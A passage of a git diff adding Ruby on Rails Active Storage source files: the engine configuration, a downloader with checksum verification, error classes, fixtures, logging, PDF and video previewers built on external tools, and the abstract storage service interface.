+    #   person.avatar.attach(io: File.open("/path/to/face.jpg"), filename: "face.jpg", content_type: "image/jpeg")
+    #   person.avatar.attach(avatar_blob) # ActiveStorage::Blob object
+    def attach(attachable)
+      record.public_send("#{name}=", attachable)
+      if record.persisted? && !record.changed?
+        return if !record.save
+      end
+      record.public_send("#{name}")
+    end
+
+    # Returns +true+ if an attachment has been made.
+    #
+    #   class User < ApplicationRecord
+    #     has_one_attached :avatar
+    #   end
+    #
+    #   User.new.avatar.attached? # => false
+    def attached?
+      attachment.present?
+    end
+
+    private
+      def purge_one
+        Attached::Changes::PurgeOne.new(name, record, attachment)
+      end
+
+      def detach_one
+        Attached::Changes::DetachOne.new(name, record, attachment)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/deprecator.rb b/activestorage/lib/active_storage/deprecator.rb
new file mode 100644
index 0000000000000..48d0c968369eb
--- /dev/null
+++ b/activestorage/lib/active_storage/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/activestorage/lib/active_storage/downloader.rb b/activestorage/lib/active_storage/downloader.rb
new file mode 100644
index 0000000000000..1f52f7755da25
--- /dev/null
+++ b/activestorage/lib/active_storage/downloader.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Downloader # :nodoc:
+    attr_reader :service
+
+    def initialize(service)
+      @service = service
+    end
+
+    def open(key, checksum: nil, verify: true, name: "ActiveStorage-", tmpdir: nil, &block)
+      tempfile = Tempfile.new(name, tmpdir, binmode: true)
+      download(key, tempfile)
+      verify_integrity_of(tempfile, checksum: checksum) if verify
+
+      if block_given?
+        begin
+          yield tempfile
+        ensure
+          tempfile.close!
+        end
+      else
+        tempfile
+      end
+    end
+
+    private
+      def download(key, file)
+        service.download(key) { |chunk| file.write(chunk) }
+        file.flush
+        file.rewind
+      end
+
+      def verify_integrity_of(file, checksum:)
+        unless OpenSSL::Digest::MD5.file(file).base64digest == checksum
+          raise ActiveStorage::IntegrityError
+        end
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/engine.rb b/activestorage/lib/active_storage/engine.rb
new file mode 100644
index 0000000000000..5cec1f66e55ba
--- /dev/null
+++ b/activestorage/lib/active_storage/engine.rb
@@ -0,0 +1,236 @@
+# frozen_string_literal: true
+
+require "rails"
+require "action_controller/railtie"
+require "active_job/railtie"
+require "active_record/railtie"
+
+require "active_storage"
+
+require "active_storage/previewer/poppler_pdf_previewer"
+require "active_storage/previewer/mupdf_previewer"
+require "active_storage/previewer/video_previewer"
+
+require "active_storage/analyzer/image_analyzer"
+require "active_storage/analyzer/video_analyzer"
+require "active_storage/analyzer/audio_analyzer"
+
+require "active_storage/service/registry"
+
+require "active_storage/reflection"
+
+module ActiveStorage
+  class Engine < Rails::Engine # :nodoc:
+    isolate_namespace ActiveStorage
+
+    config.active_storage = ActiveSupport::OrderedOptions.new
+    config.active_storage.previewers = [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer ]
+    config.active_storage.analyzers = [ ActiveStorage::Analyzer::ImageAnalyzer::Vips, ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick, ActiveStorage::Analyzer::VideoAnalyzer, ActiveStorage::Analyzer::AudioAnalyzer ]
+    config.active_storage.paths = ActiveSupport::OrderedOptions.new
+    config.active_storage.queues = ActiveSupport::InheritableOptions.new
+    config.active_storage.precompile_assets = true
+
+    config.active_storage.variable_content_types = %w(
+      image/png
+      image/gif
+      image/jpeg
+      image/tiff
+      image/bmp
+      image/vnd.adobe.photoshop
+      image/vnd.microsoft.icon
+      image/webp
+      image/avif
+      image/heic
+      image/heif
+    )
+
+    config.active_storage.web_image_content_types = %w(
+      image/png
+      image/jpeg
+      image/gif
+    )
+
+    config.active_storage.content_types_to_serve_as_binary = %w(
+      text/html
+      image/svg+xml
+      application/postscript
+      application/x-shockwave-flash
+      text/xml
+      application/xml
+      application/xhtml+xml
+      application/mathml+xml
+      text/cache-manifest
+    )
+
+    config.active_storage.content_types_allowed_inline = %w(
+      image/webp
+      image/avif
+      image/png
+      image/gif
+      image/jpeg
+      image/tiff
+      image/bmp
+      image/vnd.adobe.photoshop
+      image/vnd.microsoft.icon
+      application/pdf
+    )
+
+    config.eager_load_namespaces << ActiveStorage
+
+    initializer "active_storage.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:active_storage] = ActiveStorage.deprecator
+    end
+
+    initializer "active_storage.configs" do
+      config.before_initialize do |app|
+        ActiveStorage.touch_attachment_records = app.config.active_storage.touch_attachment_records != false
+      end
+
+      config.after_initialize do |app|
+        ActiveStorage.logger            = app.config.active_storage.logger || Rails.logger
+        ActiveStorage.variant_processor = app.config.active_storage.variant_processor || :mini_magick
+        ActiveStorage.previewers        = app.config.active_storage.previewers || []
+        ActiveStorage.analyzers         = app.config.active_storage.analyzers || []
+
+        begin
+          ActiveStorage.variant_transformer =
+            case ActiveStorage.variant_processor
+            when :disabled
+              ActiveStorage::Transformers::NullTransformer
+            when :vips
+              ActiveStorage::Transformers::Vips
+            when :mini_magick
+              ActiveStorage::Transformers::ImageMagick
+            end
+        rescue LoadError => error
+          case error.message
+          when /libvips/
+            ActiveStorage.logger.warn <<~WARNING.squish
+              Using vips to process variants requires the libvips library.
+              Please install libvips using the instructions on the libvips website.
+            WARNING
+          when /image_processing/
+            ActiveStorage.logger.warn <<~WARNING.squish
+              Generating image variants require the image_processing gem.
+              Please add `gem "image_processing", "~> 1.2"` to your Gemfile
+              or set `config.active_storage.variant_processor = :disabled`.
+            WARNING
+          else
+            raise
+          end
+        end
+
+        ActiveStorage.paths             = app.config.active_storage.paths || {}
+        ActiveStorage.routes_prefix     = app.config.active_storage.routes_prefix || "/rails/active_storage"
+        ActiveStorage.draw_routes       = app.config.active_storage.draw_routes != false
+        ActiveStorage.resolve_model_to_route = app.config.active_storage.resolve_model_to_route || :rails_storage_redirect
+
+        ActiveStorage.supported_image_processing_methods += app.config.active_storage.supported_image_processing_methods || []
+        ActiveStorage.unsupported_image_processing_arguments = app.config.active_storage.unsupported_image_processing_arguments || %w(
+          -debug
+          -display
+          -distribute-cache
+          -help
+          -path
+          -print
+          -set
+          -verbose
+          -version
+          -write
+          -write-mask
+        )
+
+        ActiveStorage.variable_content_types = app.config.active_storage.variable_content_types || []
+        ActiveStorage.web_image_content_types = app.config.active_storage.web_image_content_types || []
+        ActiveStorage.content_types_to_serve_as_binary = app.config.active_storage.content_types_to_serve_as_binary || []
+        ActiveStorage.service_urls_expire_in = app.config.active_storage.service_urls_expire_in || 5.minutes
+        ActiveStorage.urls_expire_in = app.config.active_storage.urls_expire_in
+        ActiveStorage.content_types_allowed_inline = app.config.active_storage.content_types_allowed_inline || []
+        ActiveStorage.binary_content_type = app.config.active_storage.binary_content_type || "application/octet-stream"
+        ActiveStorage.video_preview_arguments = app.config.active_storage.video_preview_arguments || "-y -vframes 1 -f image2"
+        ActiveStorage.track_variants = app.config.active_storage.track_variants || false
+        ActiveStorage.analyze = app.config.active_storage.analyze || :later
+      end
+    end
+
+    initializer "active_storage.attached" do
+      require "active_storage/attached"
+
+      ActiveSupport.on_load(:active_record) do
+        include ActiveStorage::Attached::Model
+      end
+    end
+
+    initializer "active_storage.verifier" do
+      config.after_initialize do |app|
+        ActiveStorage.verifier = app.message_verifier("ActiveStorage")
+      end
+    end
+
+    initializer "active_storage.services" do |app|
+      ActiveSupport.on_load(:active_storage_blob) do
+        configs = app.config.active_storage.service_configurations ||=
+          begin
+            config_file = Rails.root.join("config/storage/#{Rails.env}.yml")
+            config_file = Rails.root.join("config/storage.yml") unless config_file.exist?
+            raise("Couldn't find Active Storage configuration in #{config_file}") unless config_file.exist?
+
+            ActiveSupport::ConfigurationFile.parse(config_file)
+          end
+
+        ActiveStorage::Blob.services = ActiveStorage::Service::Registry.new(configs)
+
+        if config_choice = app.config.active_storage.service
+          ActiveStorage::Blob.service = ActiveStorage::Blob.services.fetch(config_choice)
+        end
+      end
+    end
+
+    initializer "active_storage.queues" do
+      config.after_initialize do |app|
+        ActiveStorage.queues = app.config.active_storage.queues || {}
+      end
+    end
+
+    initializer "active_storage.reflection" do
+      ActiveSupport.on_load(:active_record) do
+        include Reflection::ActiveRecordExtensions
+        ActiveRecord::Reflection.singleton_class.prepend(Reflection::ReflectionExtension)
+      end
+    end
+
+    initializer "action_view.configuration" do
+      config.after_initialize do |app|
+        ActiveSupport.on_load(:action_view) do
+          multiple_file_field_include_hidden = app.config.active_storage.multiple_file_field_include_hidden
+
+          unless multiple_file_field_include_hidden.nil?
+            ActionView::Helpers::FormHelper.multiple_file_field_include_hidden = multiple_file_field_include_hidden
+          end
+        end
+      end
+    end
+
+    initializer "active_storage.asset" do
+      config.after_initialize do |app|
+        if app.config.respond_to?(:assets) && app.config.active_storage.precompile_assets
+          app.config.assets.precompile += %w( activestorage activestorage.esm )
+        end
+      end
+    end
+
+    initializer "active_storage.fixture_set" do
+      ActiveSupport.on_load(:active_record_fixture_set) do
+        ActiveStorage::FixtureSet.file_fixture_path ||= Rails.root.join(*[
+          ENV.fetch("FIXTURES_PATH") { File.join("test", "fixtures") },
+          ENV["FIXTURES_DIR"],
+          "files"
+        ].compact_blank)
+      end
+
+      ActiveSupport.on_load(:active_support_test_case) do
+        ActiveStorage::FixtureSet.file_fixture_path = ActiveSupport::TestCase.file_fixture_path
+      end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/errors.rb b/activestorage/lib/active_storage/errors.rb
new file mode 100644
index 0000000000000..df544a12bc2cd
--- /dev/null
+++ b/activestorage/lib/active_storage/errors.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # Generic base class for all Active Storage exceptions.
+  class Error < StandardError; end
+
+  # Raised when ActiveStorage::Blob#variant is called on a blob that isn't variable.
+  # Use ActiveStorage::Blob#variable? to determine whether a blob is variable.
+  class InvariableError < Error; end
+
+  # Raised when ActiveStorage::Blob#preview is called on a blob that isn't previewable.
+  # Use ActiveStorage::Blob#previewable? to determine whether a blob is previewable.
+  class UnpreviewableError < Error; end
+
+  # Raised when ActiveStorage::Blob#representation is called on a blob that isn't representable.
+  # Use ActiveStorage::Blob#representable? to determine whether a blob is representable.
+  class UnrepresentableError < Error; end
+
+  # Raised when uploaded or downloaded data does not match a precomputed checksum.
+  # Indicates that a network error or a software bug caused data corruption.
+  class IntegrityError < Error; end
+
+  # Raised when ActiveStorage::Blob#download is called on a blob where the
+  # backing file is no longer present in its service.
+  class FileNotFoundError < Error; end
+
+  # Raised when a Previewer is unable to generate a preview image.
+  class PreviewError < Error; end
+end
diff --git a/activestorage/lib/active_storage/fixture_set.rb b/activestorage/lib/active_storage/fixture_set.rb
new file mode 100644
index 0000000000000..b2923a261178d
--- /dev/null
+++ b/activestorage/lib/active_storage/fixture_set.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "active_support/testing/file_fixtures"
+require "active_record/secure_token"
+
+module ActiveStorage
+  # = Active Storage \FixtureSet
+  #
+  # Fixtures are a way of organizing data that you want to test against; in
+  # short, sample data.
+  #
+  # To learn more about fixtures, read the ActiveRecord::FixtureSet documentation.
+  #
+  # === YAML
+  #
+  # Like other Active Record-backed models, ActiveStorage::Attachment and
+  # ActiveStorage::Blob records inherit from ActiveRecord::Base instances and
+  # therefore can be populated by fixtures.
+  #
+  # Consider a hypothetical <tt>Article</tt> model class, its related
+  # fixture data, as well as fixture data for related ActiveStorage::Attachment
+  # and ActiveStorage::Blob records:
+  #
+  #   # app/models/article.rb
+  #   class Article < ApplicationRecord
+  #     has_one_attached :thumbnail
+  #   end
+  #
+  # <code></code>
+  #
+  #   # fixtures/active_storage/blobs.yml
+  #   first_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob filename: "first.png" %>
+  #
+  # <code></code>
+  #
+  #   # fixtures/active_storage/attachments.yml
+  #   first_thumbnail_attachment:
+  #     name: thumbnail
+  #     record: first (Article)
+  #     blob: first_thumbnail_blob
+  #
+  # When processed, Active Record will insert database records for each fixture
+  # entry and will ensure the Active Storage relationship is intact.
+  class FixtureSet
+    include ActiveSupport::Testing::FileFixtures
+    include ActiveRecord::SecureToken
+
+    # Generate a YAML-encoded representation of an ActiveStorage::Blob
+    # instance's attributes, resolve the file relative to the directory mentioned
+    # by ActiveSupport::Testing::FileFixtures.file_fixture, and upload
+    # the file to the Service
+    #
+    # ==== Examples
+    #
+    #   # tests/fixtures/active_storage/blobs.yml
+    #   second_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob(
+    #     filename: "second.svg",
+    #   ) %>
+    #
+    #   third_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob(
+    #     filename: "third.svg",
+    #     content_type: "image/svg+xml",
+    #     service_name: "public"
+    #   ) %>
+    #
+    def self.blob(filename:, **attributes)
+      new.prepare Blob.new(filename: filename, key: generate_unique_secure_token), **attributes
+    end
+
+    def prepare(instance, **attributes)
+      io = file_fixture(instance.filename.to_s).open
+      instance.unfurl(io)
+      instance.assign_attributes(attributes)
+      instance.upload_without_unfurling(io)
+
+      instance.attributes.transform_values { |value| value.is_a?(Hash) ? value.to_json : value }.compact.to_json
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/gem_version.rb b/activestorage/lib/active_storage/gem_version.rb
new file mode 100644
index 0000000000000..08407ada9e7b8
--- /dev/null
+++ b/activestorage/lib/active_storage/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # Returns the currently loaded version of Active Storage as a +Gem::Version+.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 8
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activestorage/lib/active_storage/log_subscriber.rb b/activestorage/lib/active_storage/log_subscriber.rb
new file mode 100644
index 0000000000000..16ee0d177c0ea
--- /dev/null
+++ b/activestorage/lib/active_storage/log_subscriber.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "active_support/log_subscriber"
+
+module ActiveStorage
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
+    self.namespace = "active_storage"
+
+    def service_upload(event)
+      message = "Uploaded file to key: #{key_in(event)}"
+      message += " (checksum: #{event[:payload][:checksum]})" if event[:payload][:checksum]
+      info event, color(message, GREEN)
+    end
+    event_log_level :service_upload, :info
+
+    def service_download(event)
+      info event, color("Downloaded file from key: #{key_in(event)}", BLUE)
+    end
+    event_log_level :service_download, :info
+
+    def service_streaming_download(event)
+      info event, color("Downloaded file from key: #{key_in(event)}", BLUE)
+    end
+    event_log_level :service_streaming_download, :info
+
+    def preview(event)
+      info event, color("Previewed file from key: #{key_in(event)}", BLUE)
+    end
+    event_log_level :preview, :info
+
+    def service_delete(event)
+      info event, color("Deleted file from key: #{key_in(event)}", RED)
+    end
+    event_log_level :service_delete, :info
+
+    def service_delete_prefixed(event)
+      info event, color("Deleted files by key prefix: #{event[:payload][:prefix]}", RED)
+    end
+    event_log_level :service_delete_prefixed, :info
+
+    def service_exist(event)
+      debug event, color("Checked if file exists at key: #{key_in(event)} (#{event[:payload][:exist] ? "yes" : "no"})", BLUE)
+    end
+    event_log_level :service_exist, :debug
+
+    def service_url(event)
+      debug event, color("Generated URL for file at key: #{key_in(event)} (#{event[:payload][:url]})", BLUE)
+    end
+    event_log_level :service_url, :debug
+
+    def service_mirror(event)
+      message = "Mirrored file at key: #{key_in(event)}"
+      message += " (checksum: #{event[:payload][:checksum]})" if event[:payload][:checksum]
+      debug event, color(message, GREEN)
+    end
+    event_log_level :service_mirror, :debug
+
+    def self.default_logger
+      ActiveStorage.logger
+    end
+
+    private
+      def info(event, colored_message)
+        super log_prefix_for_service(event) + colored_message
+      end
+
+      def debug(event, colored_message)
+        super log_prefix_for_service(event) + colored_message
+      end
+
+      def log_prefix_for_service(event)
+        color "  #{event[:payload][:service]} Storage (#{event[:payload][:duration_ms].round(1)}ms) ", CYAN
+      end
+
+      def key_in(event)
+        event[:payload][:key]
+      end
+  end
+end
+
+ActiveSupport.event_reporter.subscribe(
+  ActiveStorage::LogSubscriber.new, &ActiveStorage::LogSubscriber.subscription_filter
+)
diff --git a/activestorage/lib/active_storage/previewer.rb b/activestorage/lib/active_storage/previewer.rb
new file mode 100644
index 0000000000000..75c9ddf15ca0c
--- /dev/null
+++ b/activestorage/lib/active_storage/previewer.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage \Previewer
+  #
+  # This is an abstract base class for previewers, which generate images from blobs. See
+  # ActiveStorage::Previewer::MuPDFPreviewer and ActiveStorage::Previewer::VideoPreviewer for
+  # examples of concrete subclasses.
+  class Previewer
+    attr_reader :blob
+
+    # Implement this method in a concrete subclass. Have it return true when given a blob from which
+    # the previewer can generate an image.
+    def self.accept?(blob)
+      false
+    end
+
+    def initialize(blob)
+      @blob = blob
+    end
+
+    # Override this method in a concrete subclass. Have it yield an attachable preview image (i.e.
+    # anything accepted by ActiveStorage::Attached::One#attach). Pass the additional options to
+    # the underlying blob that is created.
+    def preview(**options)
+      raise NotImplementedError
+    end
+
+    private
+      # Downloads the blob to a tempfile on disk. See ActiveStorage::Blob#open for details.
+      def download_blob_to_tempfile(&block) # :doc:
+        blob.open tmpdir: tmpdir, &block
+      end
+
+      # Executes a system command, capturing its binary output in a tempfile. Yields the tempfile.
+      #
+      # Use this method to shell out to a system library (e.g. muPDF or FFmpeg) for preview image
+      # generation. The resulting tempfile can be used as the +:io+ value in an attachable Hash:
+      #
+      #   def preview
+      #     download_blob_to_tempfile do |input|
+      #       draw "my-drawing-command", input.path, "--format", "png", "-" do |output|
+      #         yield io: output, filename: "#{blob.filename.base}.png", content_type: "image/png"
+      #       end
+      #     end
+      #   end
+      #
+      # The output tempfile is opened in the directory returned by #tmpdir.
+      def draw(*argv) # :doc:
+        open_tempfile do |file|
+          instrument :preview, key: blob.key do
+            capture(*argv, to: file)
+          end
+
+          yield file
+        end
+      end
+
+      def open_tempfile
+        tempfile = Tempfile.open("ActiveStorage-", tmpdir)
+
+        begin
+          yield tempfile
+        ensure
+          tempfile.close!
+        end
+      end
+
+      def instrument(operation, payload = {}, &block)
+        ActiveSupport::Notifications.instrument "#{operation}.active_storage", payload.merge(service: service_name), &block
+      end
+
+      def service_name
+        # ActiveStorage::Service::DiskService => Disk
+        blob.service.class.to_s.split("::").third.remove("Service")
+      end
+
+      def capture(*argv, to:)
+        to.binmode
+
+        open_tempfile do |err|
+          IO.popen(argv, err: err) { |out| IO.copy_stream(out, to) }
+          err.rewind
+
+          unless $?.success?
+            raise PreviewError, "#{argv.first} failed (status #{$?.exitstatus}): #{err.read.to_s.chomp}"
+          end
+        end
+
+        to.rewind
+      end
+
+      def logger # :doc:
+        ActiveStorage.logger
+      end
+
+      def tmpdir # :doc:
+        Dir.tmpdir
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/previewer/mupdf_previewer.rb b/activestorage/lib/active_storage/previewer/mupdf_previewer.rb
new file mode 100644
index 0000000000000..a5bd3537549db
--- /dev/null
+++ b/activestorage/lib/active_storage/previewer/mupdf_previewer.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Previewer::MuPDFPreviewer < Previewer
+    class << self
+      def accept?(blob)
+        pdf?(blob.content_type) && mutool_exists?
+      end
+
+      def pdf?(content_type)
+        Marcel::Magic.child? content_type, "application/pdf"
+      end
+
+      def mutool_path
+        ActiveStorage.paths[:mutool] || "mutool"
+      end
+
+      def mutool_exists?
+        return @mutool_exists unless @mutool_exists.nil?
+
+        system mutool_path, out: File::NULL, err: File::NULL
+
+        @mutool_exists = $?.exitstatus == 1
+      end
+    end
+
+    def preview(**options)
+      download_blob_to_tempfile do |input|
+        draw_first_page_from input do |output|
+          yield io: output, filename: "#{blob.filename.base}.png", content_type: "image/png", **options
+        end
+      end
+    end
+
+    private
+      def draw_first_page_from(file, &block)
+        draw self.class.mutool_path, "draw", "-F", "png", "-o", "-", file.path, "1", &block
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb b/activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb
new file mode 100644
index 0000000000000..2dbe1d7b57048
--- /dev/null
+++ b/activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Previewer::PopplerPDFPreviewer < Previewer
+    class << self
+      def accept?(blob)
+        pdf?(blob.content_type) && pdftoppm_exists?
+      end
+
+      def pdf?(content_type)
+        Marcel::Magic.child? content_type, "application/pdf"
+      end
+
+      def pdftoppm_path
+        ActiveStorage.paths[:pdftoppm] || "pdftoppm"
+      end
+
+      def pdftoppm_exists?
+        return @pdftoppm_exists unless @pdftoppm_exists.nil?
+
+        @pdftoppm_exists = system(pdftoppm_path, "-v", out: File::NULL, err: File::NULL)
+      end
+    end
+
+    def preview(**options)
+      download_blob_to_tempfile do |input|
+        draw_first_page_from input do |output|
+          yield io: output, filename: "#{blob.filename.base}.png", content_type: "image/png", **options
+        end
+      end
+    end
+
+    private
+      def draw_first_page_from(file, &block)
+        # use 72 dpi to match thumbnail dimensions of the PDF
+        draw self.class.pdftoppm_path, "-singlefile", "-cropbox", "-r", "72", "-png", file.path, &block
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/previewer/video_previewer.rb b/activestorage/lib/active_storage/previewer/video_previewer.rb
new file mode 100644
index 0000000000000..ed8982d6c9676
--- /dev/null
+++ b/activestorage/lib/active_storage/previewer/video_previewer.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "shellwords"
+
+module ActiveStorage
+  class Previewer::VideoPreviewer < Previewer
+    class << self
+      def accept?(blob)
+        blob.video? && ffmpeg_exists?
+      end
+
+      def ffmpeg_exists?
+        return @ffmpeg_exists unless @ffmpeg_exists.nil?
+
+        @ffmpeg_exists = system(ffmpeg_path, "-version", out: File::NULL, err: File::NULL)
+      end
+
+      def ffmpeg_path
+        ActiveStorage.paths[:ffmpeg] || "ffmpeg"
+      end
+    end
+
+    def preview(**options)
+      download_blob_to_tempfile do |input|
+        draw_relevant_frame_from input do |output|
+          yield io: output, filename: "#{blob.filename.base}.jpg", content_type: "image/jpeg", **options
+        end
+      end
+    end
+
+    private
+      def draw_relevant_frame_from(file, &block)
+        draw self.class.ffmpeg_path, "-i", file.path, *Shellwords.split(ActiveStorage.video_preview_arguments), "-", &block
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/reflection.rb b/activestorage/lib/active_storage/reflection.rb
new file mode 100644
index 0000000000000..49ae25aea525d
--- /dev/null
+++ b/activestorage/lib/active_storage/reflection.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  module Reflection
+    class HasAttachedReflection < ActiveRecord::Reflection::MacroReflection # :nodoc:
+      def variant(name, transformations)
+        named_variants[name] = NamedVariant.new(transformations)
+      end
+
+      def named_variants
+        @named_variants ||= {}
+      end
+    end
+
+    # Holds all the metadata about a has_one_attached attachment as it was
+    # specified in the Active Record class.
+    class HasOneAttachedReflection < HasAttachedReflection # :nodoc:
+      def macro
+        :has_one_attached
+      end
+    end
+
+    # Holds all the metadata about a has_many_attached attachment as it was
+    # specified in the Active Record class.
+    class HasManyAttachedReflection < HasAttachedReflection # :nodoc:
+      def macro
+        :has_many_attached
+      end
+    end
+
+    module ReflectionExtension # :nodoc:
+      def add_attachment_reflection(model, name, reflection)
+        model.attachment_reflections = model.attachment_reflections.merge(name.to_s => reflection)
+      end
+
+      private
+        def reflection_class_for(macro)
+          case macro
+          when :has_one_attached
+            HasOneAttachedReflection
+          when :has_many_attached
+            HasManyAttachedReflection
+          else
+            super
+          end
+        end
+    end
+
+    module ActiveRecordExtensions
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :attachment_reflections, instance_writer: false, default: {}
+      end
+
+      module ClassMethods
+        # Returns an array of reflection objects for all the attachments in the
+        # class.
+        def reflect_on_all_attachments
+          attachment_reflections.values
+        end
+
+        # Returns the reflection object for the named +attachment+.
+        #
+        #    User.reflect_on_attachment(:avatar)
+        #    # => the avatar reflection
+        #
+        def reflect_on_attachment(attachment)
+          attachment_reflections[attachment.to_s]
+        end
+      end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/service.rb b/activestorage/lib/active_storage/service.rb
new file mode 100644
index 0000000000000..e02de9e51a2d0
--- /dev/null
+++ b/activestorage/lib/active_storage/service.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require "active_storage/log_subscriber"
+require "active_storage/structured_event_subscriber"
+require "active_storage/downloader"
+require "action_dispatch"
+require "action_dispatch/http/content_disposition"
+
+module ActiveStorage
+  # = Active Storage \Service
+  #
+  # Abstract class serving as an interface for concrete services.
+  #
+  # The available services are:
+  #
+  # * +Disk+, to manage attachments saved directly on the hard drive.
+  # * +GCS+, to manage attachments through Google Cloud Storage.
+  # * +S3+, to manage attachments through Amazon S3.
+  # * +Mirror+, to be able to use several services to manage attachments.
+  #
+  # Inside a \Rails application, you can set-up your services through the
+  # generated <tt>config/storage.yml</tt> file and reference one
+  # of the aforementioned constant under the +service+ key. For example:
+  #
+  #   local:
+  #     service: Disk
+  #     root: <%= Rails.root.join("storage") %>
+  #
+  # You can checkout the service's constructor to know which keys are required.
+  #
+  # Then, in your application's configuration, you can specify the service to
+  # use like this:
+  #
+  #   config.active_storage.service = :local
+  #
+  # If you are using Active Storage outside of a Ruby on \Rails application, you
+  # can configure the service to use like this:
+  #
+  #   ActiveStorage::Blob.service = ActiveStorage::Service.configure(
+  #     :local,
+  #     { local: {service: "Disk",  root: Pathname("/tmp/foo/storage") } }
+  #   )
+  class Service
+    extend ActiveSupport::Autoload
+    autoload :Configurator
+    attr_accessor :name
+
+    class << self
+      # Configure an Active Storage service by name from a set of configurations,
+      # typically loaded from a YAML file. The Active Storage engine uses this
+      # to set the global Active Storage service when the app boots.
+      def configure(service_name, configurations)
+        Configurator.build(service_name, configurations)
+      end
+
+      # Override in subclasses that stitch together multiple services and hence
+      # need to build additional services using the configurator.
+      #
+      # Passes the configurator and all of the service's config as keyword args.
+      #
+      # See MirrorService for an example.
+      def build(configurator:, name:, service: nil, **service_config) # :nodoc:
+        new(**service_config).tap do |service_instance|
+          service_instance.name = name
+        end
+      end
+    end
+
+    # Upload the +io+ to the +key+ specified. If a +checksum+ is provided, the service will
+    # ensure a match when the upload has completed or raise an ActiveStorage::IntegrityError.
+    def upload(key, io, checksum: nil, **options)
+      raise NotImplementedError
+    end
+
+    # Update metadata for the file identified by +key+ in the service.
+    # Override in subclasses only if the service needs to store specific
+    # metadata that has to be updated upon identification.
+    def update_metadata(key, **metadata)
+    end
+
+    # Return the content of the file at the +key+.
+    def download(key)
+      raise NotImplementedError
+    end
+
+    # Return the partial content in the byte +range+ of the file at the +key+.
+    def download_chunk(key, range)
+      raise NotImplementedError
+    end
+
+    def open(*args, **options, &block)
+      ActiveStorage::Downloader.new(self).open(*args, **options, &block)
+    end
+
+    # Concatenate multiple files into a single "composed" file.
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      raise NotImplementedError
+    end
+
+    # Delete the file at the +key+.
+    def delete(key)
+      raise NotImplementedError
+    end
+
+    # Delete files at keys starting with the +prefix+.
+    def delete_prefixed(prefix)
+      raise NotImplementedError
+    end
+
+    # Return +true+ if a file exists at the +key+.
+    def exist?(key)
+      raise NotImplementedError
+    end
+
+    # Returns the URL for the file at the +key+. This returns a permanent URL for public files, and returns a
+    # short-lived URL for private files. For private files you can provide the +disposition+ (+:inline+ or +:attachment+),
+    # +filename+, and +content_type+ that you wish the file to be served with on request. Additionally, you can also provide
+    # the amount of seconds the URL will be valid for, specified in +expires_in+.
+    def url(key, **options)
+      instrument :url, key: key do |payload|
+        generated_url =
+          if public?
+            public_url(key, **options)
+          else
+            private_url(key, **options)
+          end
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+
+    # Returns a signed, temporary URL that a direct upload file can be PUT to on the +key+.
+    # The URL will be valid for the amount of seconds specified in +expires_in+.
+    # You must also provide the +content_type+, +content_length+, and +checksum+ of the file
+    # that will be uploaded. All these attributes will be validated by the service upon upload.
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      raise NotImplementedError
+    end
+
+    # Returns a Hash of headers for +url_for_direct_upload+ requests.
+    def headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:, custom_metadata: {})
+      {}
+    end
+
+    def public?
+      @public
+    end
+
+    def inspect # :nodoc:
+      "#<#{self.class}#{name.present? ? " name=#{name.inspect}" : ""}>"
+    end
+
+    private
+      def private_url(key, expires_in:, filename:, disposition:, content_type:, **)
+        raise NotImplementedError
+      end
+
+      def public_url(key, **)
+        raise NotImplementedError
+      end
+
+      def custom_metadata_headers(metadata)
+        raise NotImplementedError
+      end
+
+      def instrument(operation, payload = {}, &block)
+        ActiveSupport::Notifications.instrument(
+          "service_#{operation}.active_storage",
+          payload.merge(service: service_name), &block)
+      end
+
+      def service_name
+        # ActiveStorage::Service::DiskService => Disk
+        self.class.name.split("::").third.remove("Service")
+      end
+
+      def content_disposition_with(type: "inline", filename:)
+        disposition = (type.to_s.presence_in(%w( attachment inline )) || "inline")
